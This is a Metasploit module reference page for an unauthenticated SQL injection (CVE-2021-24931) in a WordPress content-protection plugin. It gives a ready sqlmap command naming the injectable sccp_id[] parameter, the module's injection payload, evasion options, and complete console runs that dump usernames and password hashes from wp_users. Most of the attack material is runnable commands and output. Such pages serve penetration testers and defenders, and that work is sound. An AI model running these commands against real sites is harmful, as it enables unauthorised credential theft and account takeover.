Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi - Metasploit

This page contains detailed information about how to use the auxiliary/scanner/http/wp_secure_copy_content_protection_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi
Module: auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
Source code: modules/auxiliary/scanner/http/wp_secure_copy_content_protection_sqli.rb
Disclosure date: 2021-11-08
Last modification time: 2022-02-24 15:43:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-24931

Secure Copy Content Protection and Content Locking, a WordPress plugin, prior to 2.8.2 is affected by an unauthenticated SQL injection via the sccp_id[] parameter. Remote attackers can exploit this vulnerability to dump usernames and password hashes from thewp_users table of the affected WordPress installation. These password hashes can then be cracked offline using tools such as Hashcat to obtain valid login credentials for the affected WordPress installation.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

• crash-safe: Module should not crash the service.

Side Effects:

• ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
msf auxiliary(wp_secure_copy_content_protection_sqli) > show options
    ... show and set options ...
msf auxiliary(wp_secure_copy_content_protection_sqli) > set RHOSTS ip-range
msf auxiliary(wp_secure_copy_content_protection_sqli) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(wp_secure_copy_content_protection_sqli) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(wp_secure_copy_content_protection_sqli) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(wp_secure_copy_content_protection_sqli) > set RHOSTS file:/tmp/ip_list.txt

Required Options

• RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base

sqlmap --dbms=mysql -u "http://1.1.1.1/wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)*&type=json" --technique T -T wp_users -C user_login,user_pass --dump

resource (secure_copy.rb)> use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
resource (secure_copy.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (secure_copy.rb)> set verbose true
verbose => true
resource (secure_copy.rb)> set limit 1
limit => 1
resource (secure_copy.rb)> run
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/secure-copy-content-protection/readme.txt
[*] Checking /wp-content/plugins/secure-copy-content-protection/Readme.txt
[*] Checking /wp-content/plugins/secure-copy-content-protection/README.txt
[*] Found version 2.8.1 in the plugin
[+] The target appears to be vulnerable.
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(dwOr) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) dwOr from wp_users limit 3) fOXVNQ)
[*] {SQLi} Encoded to (select group_concat(dwOr) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0x16,0)),ifnull(user_pass,repeat(0xa1,0))) as binary) dwOr from wp_users limit 3) fOXVNQ)
[*] {SQLi} Time-based injection: expecting output of length 124
[+] Dumped table contents:
wp_users
========

 user_login  user_pass
 ----------  ---------
 admin       $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
 admin2      $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1
 editor      $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show options

Module options (auxiliary/scanner/http/wp_secure_copy_content_protection_sqli):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
                                          ploit
   RPORT       8000             yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       The base path to the wordpress application
   THREADS     1                yes       The number of concurrent threads (max one per host)
   USER_COUNT  3                yes       Number of user credentials to enumerate
   VHOST                        no        HTTP server virtual host


Auxiliary action:

   Name        Description
   ----        -----------
   List Users  Queries username, password hash for USER_COUNT users


msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Enumerating Usernames and Password Hashes
[!] Each user will take about 5-10 minutes to enumerate. Be patient.
[+] Dumped table contents:
wp_users
========

 user_login  user_pass
 ----------  ---------
 normal      $P$Bu9/XNK93oyUTKO.zJ9yGZfYAcbZg9.
 testAdmin   $P$BYWtZOfh8yqLCKA877hwBysqGdRtk/.

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) >

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Msfconsole Usage

Here is how the scanner/http/wp_secure_copy_content_protection_sqli auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli

msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show info

       Name: Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi
     Module: auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-11-08

Provided by:
  h00die
  Hacker5preme (Ron Jost)
  Krzysztof Zaj��c (kazet)

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Available actions:
  Name        Description
  ----        -----------
  List Users  Queries username, password hash for USER_COUNT users

Check supported:
  Yes

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT       80               yes       The target port (TCP)
  SSL         false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI   /                yes       The base path to the wordpress application
  THREADS     1                yes       The number of concurrent threads (max one per host)
  USER_COUNT  3                yes       Number of user credentials to enumerate
  VHOST                        no        HTTP server virtual host

Description:
  Secure Copy Content Protection and Content Locking, a WordPress 
  plugin, prior to 2.8.2 is affected by an unauthenticated SQL 
  injection via the `sccp_id[]` parameter. Remote attackers can 
  exploit this vulnerability to dump usernames and password hashes 
  from the`wp_users` table of the affected WordPress installation. 
  These password hashes can then be cracked offline using tools such 
  as Hashcat to obtain valid login credentials for the affected 
  WordPress installation.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-24931
  https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24931/README.md
  https://kazet.cc/2022/02/03/fuzzing-wordpress-plugins.html
  https://www.exploit-db.com/exploits/50733
  https://wpscan.com/vulnerability/1cd52d61-af75-43ed-9b99-b46c471c4231

Module Options

This is a complete list of options available in the scanner/http/wp_secure_copy_content_protection_sqli auxiliary module:

msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show options

Module options (auxiliary/scanner/http/wp_secure_copy_content_protection_sqli):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       The base path to the wordpress application
   THREADS     1                yes       The number of concurrent threads (max one per host)
   USER_COUNT  3                yes       Number of user credentials to enumerate
   VHOST                        no        HTTP server virtual host

Auxiliary action:

   Name        Description
   ----        -----------
   List Users  Queries username, password hash for USER_COUNT users

Advanced Options

Here is a complete list of advanced options supported by the scanner/http/wp_secure_copy_content_protection_sqli auxiliary module:

msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show advanced

Module advanced options (auxiliary/scanner/http/wp_secure_copy_content_protection_sqli):

   Name                  Current Setting                      Required  Description
   ----                  ---------------                      --------  -----------
   AutoCheck             true                                 no        Run check before exploit
   DOMAIN                WORKSTATION                          yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                 no        Conform to IIS, should work for most servers. Only set to fals
                                                                        e for non-IIS servers
   FingerprintCheck      true                                 no        Conduct a pre-exploit fingerprint verification
   ForceExploit          false                                no        Override check result
   HttpClientTimeout                                          no        HTTP connection and receive timeout
   HttpPassword                                               no        The HTTP password to specify for authentication
   HttpRawHeaders                                             no        Path to ERB-templatized raw headers to append to existing head
                                                                        ers
   HttpTrace             false                                no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                              no        HTTP request and response colors for HttpTrace (unset to disab
                                                                        le)
   HttpTraceHeadersOnly  false                                no        Show HTTP headers only in HttpTrace
   HttpUsername                                               no        The HTTP username to specify for authentication
   SSLVersion            Auto                                 yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23
                                                                         are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1,
                                                                        TLS1.1, TLS1.2)
   ShowProgress          true                                 yes       Display progress messages during a scan
   ShowProgressPercent   10                                   yes       The interval in percent that progress should be shown
   SqliDelay             1.0                                  no        The delay to sleep on time-based blind SQL injections
   UserAgent             Mozilla/5.0 (iPad; CPU OS 15_3_1 li  no        The User-Agent header to use for all requests
                         ke Mac OS X) AppleWebKit/605.1.15 (
                         KHTML, like Gecko) Version/15.2 Mob
                         ile/15E148 Safari/604.1
   VERBOSE               false                                no        Enable detailed status messages
   WORKSPACE                                                  no        Specify the workspace for this module
   WPCHECK               true                                 yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                           yes       The name of the wp-content directory

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/http/wp_secure_copy_content_protection_sqli module can do:

msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show actions

Auxiliary actions:

   Name        Description
   ----        -----------
   List Users  Queries username, password hash for USER_COUNT users

Evasion Options

Here is the full list of possible evasion options supported by the scanner/http/wp_secure_copy_content_protection_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space
                                                            , tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: spac
                                                            e, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random
                                                            , hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Server not online or not detected as wordpress

Here is a relevant code snippet related to the "Server not online or not detected as wordpress" error message:

56:	    ]
57:	  end
58:	
59:	  def check_host(_ip)
60:	    unless wordpress_and_online?
61:	      return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
62:	    end
63:	
64:	    checkcode = check_plugin_version_from_readme('secure-copy-content-protection', '2.8.2')
65:	    if checkcode == Msf::Exploit::CheckCode::Safe
66:	      return Msf::Exploit::CheckCode::Safe('Secure Copy Content Protection and Content Locking version not vulnerable')

Secure Copy Content Protection and Content Locking version not vulnerable

Here is a relevant code snippet related to the "Secure Copy Content Protection and Content Locking version not vulnerable" error message:

61:	      return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
62:	    end
63:	
64:	    checkcode = check_plugin_version_from_readme('secure-copy-content-protection', '2.8.2')
65:	    if checkcode == Msf::Exploit::CheckCode::Safe
66:	      return Msf::Exploit::CheckCode::Safe('Secure Copy Content Protection and Content Locking version not vulnerable')
67:	    end
68:	
69:	    checkcode
70:	  end
71:	

Connection failed

Here is a relevant code snippet related to the "Connection failed" error message:

80:	          'action' => 'ays_sccp_results_export_file',
81:	          'sccp_id[]' => "#{id}) AND (SELECT #{Rex::Text.rand_text_numeric(4..20)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4..20)})-- #{Rex::Text.rand_text_alpha(4..20)}",
82:	          'type' => 'json'
83:	        }
84:	      })
85:	      fail_with(Failure::Unreachable, 'Connection failed') unless res
86:	    end
87:	
88:	    unless @sqli.test_vulnerable
89:	      print_bad("#{peer} - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.")
90:	      return

<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay.

Here is a relevant code snippet related to the "<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay." error message:

84:	      })
85:	      fail_with(Failure::Unreachable, 'Connection failed') unless res
86:	    end
87:	
88:	    unless @sqli.test_vulnerable
89:	      print_bad("#{peer} - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.")
90:	      return
91:	    end
92:	    columns = ['user_login', 'user_pass']
93:	
94:	    print_status('Enumerating Usernames and Password Hashes')

Each user will take about 5-10 minutes to enumerate. Be patient.

Here is a relevant code snippet related to the "Each user will take about 5-10 minutes to enumerate. Be patient." error message:

90:	      return
91:	    end
92:	    columns = ['user_login', 'user_pass']
93:	
94:	    print_status('Enumerating Usernames and Password Hashes')
95:	    print_warning('Each user will take about 5-10 minutes to enumerate. Be patient.')
96:	    data = @sqli.dump_table_fields('wp_users', columns, '', datastore['USER_COUNT'])
97:	
98:	    table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
99:	    data.each do |user|
100:	      create_credential({

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Related Pull Requests

• #16294 Merged Pull Request: Msf::Payload::Apk: Replace jarsigner with apksigner
• #16288 Merged Pull Request: Msf::Payload::Apk: raise if apktool output includes Java exceptions
• #16292 Merged Pull Request: Fix typo in document of cve_2021_4034
• #16283 Merged Pull Request: Msf::Payload::Apk: raise if APK is unsigned or generating new key fails
• #16258 Merged Pull Request: Improve TLV Type handling
• #16135 Merged Pull Request: Add setg sessiontlvlogging command to log TLV packets
• #16268 Merged Pull Request: Update check comhijack
• #16141 Merged Pull Request: Add service manager commands to msfconsle
• #16179 Merged Pull Request: Update Meterpreter file existence tests for CI environments
• #16162 Merged Pull Request: Add explicit Github action permissions
• #16145 Merged Pull Request: Fix to_handler case sensitivity issue
• #16269 Merged Pull Request: Msf::Payload::Apk: Check Java is installed and apktool.jar exists
• #16270 Merged Pull Request: Msf::Payload::Apk: raise if keytool cannot parse APK file or certificate
• #16219 Merged Pull Request: Convert core enumextcmd & loadlib commands to human readable strings
• #16153 Merged Pull Request: Read full response on smtp send/recv
• #16265 Merged Pull Request: Fix race condition in jobs cleanup that could allow it to clean up twice simultaneously
• #16245 Merged Pull Request: pfSense Authenticated File Write (CVE-2021-41282)

References

• CVE-2021-24931
• https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24931/README.md
• https://kazet.cc/2022/02/03/fuzzing-wordpress-plugins.html
• EDB-50733
• WPVDB-1cd52d61-af75-43ed-9b99-b46c471c4231

See Also

Check also the following modules related to this module:

• auxiliary/scanner/http/wp_abandoned_cart_sqli
• auxiliary/scanner/http/wp_arbitrary_file_deletion
• auxiliary/scanner/http/wp_bulletproofsecurity_backups
• auxiliary/scanner/http/wp_chopslider_id_sqli
• auxiliary/scanner/http/wp_contus_video_gallery_sqli
• auxiliary/scanner/http/wp_dukapress_file_read
• auxiliary/scanner/http/wp_duplicator_file_read
• auxiliary/scanner/http/wp_easy_wp_smtp
• auxiliary/scanner/http/wp_email_sub_news_sqli
• auxiliary/scanner/http/wp_gimedia_library_file_read
• auxiliary/scanner/http/wp_learnpress_sqli
• auxiliary/scanner/http/wp_loginizer_log_sqli
• auxiliary/scanner/http/wp_mobileedition_file_read
• auxiliary/scanner/http/wp_mobile_pack_info_disclosure
• auxiliary/scanner/http/wp_modern_events_calendar_sqli
• auxiliary/scanner/http/wp_nextgen_galley_file_read
• auxiliary/scanner/http/wp_registrationmagic_sqli
• auxiliary/scanner/http/wp_simple_backup_file_read
• auxiliary/scanner/http/wp_subscribe_comments_file_read
• auxiliary/scanner/http/wp_total_upkeep_downloader
• auxiliary/scanner/http/wp_wps_hide_login_revealer
• auxiliary/admin/http/wp_automatic_plugin_privesc
• auxiliary/admin/http/wp_custom_contact_forms
• auxiliary/admin/http/wp_easycart_privilege_escalation
• auxiliary/admin/http/wp_gdpr_compliance_privesc
• auxiliary/admin/http/wp_google_maps_sqli
• auxiliary/admin/http/wp_masterstudy_privesc
• auxiliary/admin/http/wp_symposium_sql_injection
• auxiliary/admin/http/wp_wplms_privilege_escalation
• auxiliary/gather/wp_all_in_one_migration_export
• auxiliary/gather/wp_ultimate_csv_importer_user_extract
• auxiliary/gather/wp_w3_total_cache_hash_extract
• auxiliary/scanner/wproxy/att_open_proxy

Authors

• h00die
• Hacker5preme (Ron Jost)
• Krzysztof Zając (kazet)

Version

This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

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